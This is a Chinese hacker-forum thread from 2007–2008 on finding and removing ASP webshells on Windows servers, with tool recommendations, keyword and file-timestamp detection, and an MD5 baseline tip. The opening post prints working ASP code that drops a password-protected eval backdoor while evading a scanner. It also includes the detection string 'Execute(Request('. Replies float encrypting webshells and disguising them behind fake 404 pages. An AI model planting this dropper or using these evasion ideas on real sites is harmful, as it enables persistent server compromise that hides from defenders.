黑客防线,在攻与防的对立统一中寻求突破!2001年创刊的黑客技术专业刊物!

设为首页
收藏本站
联系我们
网站导航


黑客论坛 - 公共交流区 - 站长安全顾问 - 浏览 - [分享]干掉Webshell!——站长安全顾问系列话题二
您是本贴第 1213 位浏览者 本版版主
浏览: [分享]干掉Webshell!——站长安全顾问系列话题二
  • wtf
  • 等级: 管理用户
  • 发贴: 291 贴
  • 货币: 14335 金币
  • 积分: 49929 分
  • 经验: 17022 点
  • 体力: 38490 点
  • 注册: 2005-10-27
[分享]干掉Webshell!——站长安全顾问系列话题二
在脚本入侵如此疯狂的当今时代,脚本系统所谓的“0day”漫天飞舞,一不小心webshell就被放到了服务器上。如何干掉已经存在于服务器上的webshell?估计很多朋友看到这个提问都会有些轻微的寒意,因为现在的webshell太BT了,花样翻新而且层出不穷,简直就象打不死的小强!我¥%+%¥*+%¥*
    以Windows Server2003系统ASP+SQL Server典型环境为例,本贴列举两种常规的清理Webshell的方法,召唤更多亡羊补牢的干掉webshell的金点子,砖头拍过来吧!
1.工具
    作为服务器管理者,网络上各种清理webshell的工具应该人手一份,虽然这些工具做不到100%清理,但至少普通的webshell是可以搞定的。这里列举两个:aspcandy和ScanWebshell。
    Aspcandy是村雨写的,发布的时间比较早,也没有再公开更新,感觉还不错,至少可以省掉很多手工查找的麻烦。这个工具主要用来查找被入侵过的机器上面是否有asp后门,检查服务器上的ASP文件是否有危险操作而存在。一般普通的用常规函数写的webshell可以很方便的检测出来。
                        
    ScanWebshell是lake2在06年中旬写的一个asp页面形式的查询webshell的工具,它可以查asp、cer、cdx、asa及其嵌套调用的任意格式文件,但是图片asp木马之类的查不到。基本原理也是通过对特别的函数做审查而判定是否为webshell。
                        
    但是这个东西出来以后,就好比木马查杀工具在免杀技术面前无奈一样,穷举类型的安全规则还是很容易被人突破,所以很快就有人提出了突破它的方法:
<%
pass="hacker"
If request("bin")= pass then
shell = "bin.asp"
Connstr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath(shell)
set connad=server.createobject("adox.catalog")
connad.create connstr
Set conn=server.createobject("Adodb.Connection")
conn.open connstr
conn.execute("create table cmd(shell text)")
conn.execute("insert into cmd (shell) values ('<"&Chr("37")&"e"&"val+request("""&pass&""")"&chr("37")&">')")
End If
%>

    直接访问xxx.asp?bin=hacker会在当前目录下生成一个bin.asp,连接密码为hacker。这个小东西文件可以躲避ScanWebShell,但是生成的bin.asp还是会被查杀。

2.手工
    喜欢黑客技术的人自然更喜欢手工去搞一些东西,这样对动手能力会有一定的提高。一般有实际用处的手工检测webshell的方法有两种:一种是通过特征字符进行判断,一种是通过系统时间进行判断。
    所谓的特征字符判断,实际上和所有网上的清理工具使用的方法是一样的,就是对webshell可能使用到的独特的函数进行过滤,发现调用就仔细查看是不是webshell。比如可以使用UE,设定“Execute(Request("”关键字符对web文件夹下的所有文件内容进行查询,以此来找出一句话后门。
                        
    这种方法的优点在于很容易找到有针对性的后门,比如一句话后门和网络上常见的后门,缺点是对未知的后门几乎没用。
    另一种方法是通过系统时间来做第一次判断,在估算被放置后门时间的左右时间段内,查询所有服务器上,网络用户可访问文件的修改、写入等相关操作,以此来确定webshell的范围,并进一步仔细清理。比如:查找所有上个月内,服务器上web路径下的所有文件改动、生成。
                        
    在没有被人获得完全的服务器权限的情况下,用搜索的方法是比较有威力的,可以查出来所有有可能有问题的文件,包括特殊加密后的webshell、图片类型的webshell。但是,一旦服务器被人搞掉了,拿到了高的权限,那文件时间却又是可以很容易修改的——所以,在确定服务器没有被搞掉的时候,大胆的使用这个方法去干掉webshell吧!

    上面几个方法都是有一定作用的清理服务器上webshell的方法,对一般的webshell清理是比较有帮助的,服务器管理员在遇到webshell的情况下可以用以上的方法做一下测试,可能会有帮助。

问题来了:
1.        以上的工具和手工清理方法,有没有突破的办法?怎么突破?
2.        有没有更好的清理已经存在的webshell的方法?怎么清理?
[当然,以上帖子的所有讨论,都是基于已经被放上了webshell的情况,怎么让别人放不上webshell他日再论。]
覆巢之卵,浮沙之台。
2007-11-29 12:15:36
  • 寂寞华尔兹
  • 等级: 钻石VIP
  • 发贴: 67 贴
  • 货币: 0 金币
  • 积分: 100 分
  • 经验: 7478 点
  • 体力: 35240 点
  • 注册: 2007-11-26
Re:[分享]干掉Webshell!——站长安全顾问系列话题二
定位特征字符,如果装杀软并定时更新的话,感觉似乎多此一举了,杀软也可以用特征字符杀WEBSHELL的!一般将ASP或者PHP后门全部加密后是不是就可以躲过杀软和特征码定位了?
至于查看文件修改时间,可以把文件时间修改和别的文件一致,不过要能改文件的时间的话,那服务器的权限都已经拿到了,再改也没什么意思了!所以,查看文件修改时间不知道怎么去突破!

有一个问题以前想过,不过我不会ASP编程,所以这里问一下:一般ASP文件后面跟个asp?XX=1的参数,那么我们可不可以把ASP后门做成先通过用GET抓浏览器提交参数,判断正确后显示出登录的页面,若参数不对或者就没有参数就显示出“找不到该页面”的典型网页!这样应该可以防止网马被人盗用等!由于我不懂ASP语言,这是我的一个想法,不知能否实现,谢!
(本人菜鸟,回答不好高手见笑了!)


神不需一丝一毫的怀疑,全心的俯首崇拜,无尽怅然的跪拜;绚丽绽放着走向死亡!




2007-12-5 2:10:15
  • wtf
  • 等级: 管理用户
  • 发贴: 291 贴
  • 货币: 14335 金币
  • 积分: 49929 分
  • 经验: 17022 点
  • 体力: 38490 点
  • 注册: 2005-10-27
Re:[分享]干掉Webshell!——站长安全顾问系列话题二
一般在服务器环境下,不建议使用杀软来检测webshell,效率和操作方式都比较麻烦.
如果将webshell加密,mcafee之类的杀软是可以检测出部分加密后的webshell的,但是非常不全.加密后的webshell也可以通过特征字符检测的方式查出来,但是不能保证100%都可以查出来,因为定位比较麻烦.

主贴第一个例子中的突破ScanWebshell的代码,就是你问的使用asp?xx=1的参数方式提交的get类webshell,现在很多webshell都可以这样存在的,baidu 一下,种类不少.
覆巢之卵,浮沙之台。
2007-12-5 9:33:49
  • 宝宝坏脾气
  • 等级: 普通用户
  • 发贴: 4 贴
  • 货币: 0 金币
  • 积分: 100 分
  • 经验: 79 点
  • 体力: 375 点
  • 注册: 2007-12-17
Re:[分享]干掉Webshell!——站长安全顾问系列话题二
感谢分享!!支持站长
2007-12-18 4:34:49
  • hackertj
  • 等级: 钻石VIP
  • 发贴: 173 贴
  • 货币: 0 金币
  • 积分: 479 分
  • 经验: 4888 点
  • 体力: 20585 点
  • 注册: 2007-10-16
Re:[分享]干掉Webshell!——站长安全顾问系列话题二
学习下!!
江山如此多娇,引无数英雄竞折腰。
惜秦皇汉武,略输文采;
唐宗宋祖,稍逊风骚。
一代天骄,成吉思汗,只识弯弓射大雕。
俱往矣,数风流人物,还看今朝。
2008-1-2 0:34:32
  • Tyone
  • 等级: 钻石VIP
  • 发贴: 57 贴
  • 货币: 0 金币
  • 积分: 145 分
  • 经验: 1713 点
  • 体力: 8125 点
  • 注册: 2006-02-06
Re:[分享]干掉Webshell!——站长安全顾问系列话题二
学习了!
  有用啊!
2008-1-9 0:59:38
  • mfkeeq
  • 等级: 钻石VIP
  • 发贴: 61 贴
  • 货币: 0 金币
  • 积分: 170 分
  • 经验: 650 点
  • 体力: 2800 点
  • 注册: 2007-02-26
Re:[分享]干掉Webshell!——站长安全顾问系列话题二
学习了
回雁峰下,烟雨池边
2008-1-13 12:51:10
  • VIP技术支持2
  • 等级: 黑客防线技术团队
  • 勋章:
  • 发贴: 1881 贴
  • 货币: 34 金币
  • 积分: 6411 分
  • 经验: 28996 点
  • 体力: 111260 点
  • 注册: 2007-05-25
Re:[分享]干掉Webshell!——站长安全顾问系列话题二
不爽..还是自己写的带劲,多线程处理..然后判断文件日期,计算比如多少天的文件..然后穷举搜索判断.. 这样省不少事情..
最近刚做完手术,修养中..................
2008-1-14 23:25:06
  • wtf
  • 等级: 管理用户
  • 发贴: 291 贴
  • 货币: 14335 金币
  • 积分: 49929 分
  • 经验: 17022 点
  • 体力: 38490 点
  • 注册: 2005-10-27
Re:[分享]干掉Webshell!——站长安全顾问系列话题二
Quote: 以下是引用 VIP技术支持2 于 2008-1-14 23:25:06 的发言
不爽..还是自己写的带劲,多线程处理..然后判断文件日期,计算比如多少天的文件..然后穷举搜索判断.. 这样省不少事情..


期待ing.......
覆巢之卵,浮沙之台。
2008-1-15 10:56:01
  • loveqiuer
  • 等级: 普通用户
  • 发贴: 15 贴
  • 货币: 0 金币
  • 积分: 100 分
  • 经验: 128 点
  • 体力: 525 点
  • 注册: 2007-02-04
Re:[分享]干掉Webshell!——站长安全顾问系列话题二
其实还有更好的方法,用md5checker把web目录下面的文件全部扫描得到报告,以后有什么问题的话,再扫描一次,和以前的对比,不仅可以找到新加的文件,md5改变了的也可以轻松找出来呢,对付那些注入或者一句话之类的特别有效,从根本上进行防范,,,其实这个方法是我用来对付病毒的,也很容易找到系统目录下面新增的dllexe文件什么的,另外说一点,文件格式可以自定义的
2008-1-22 14:22:47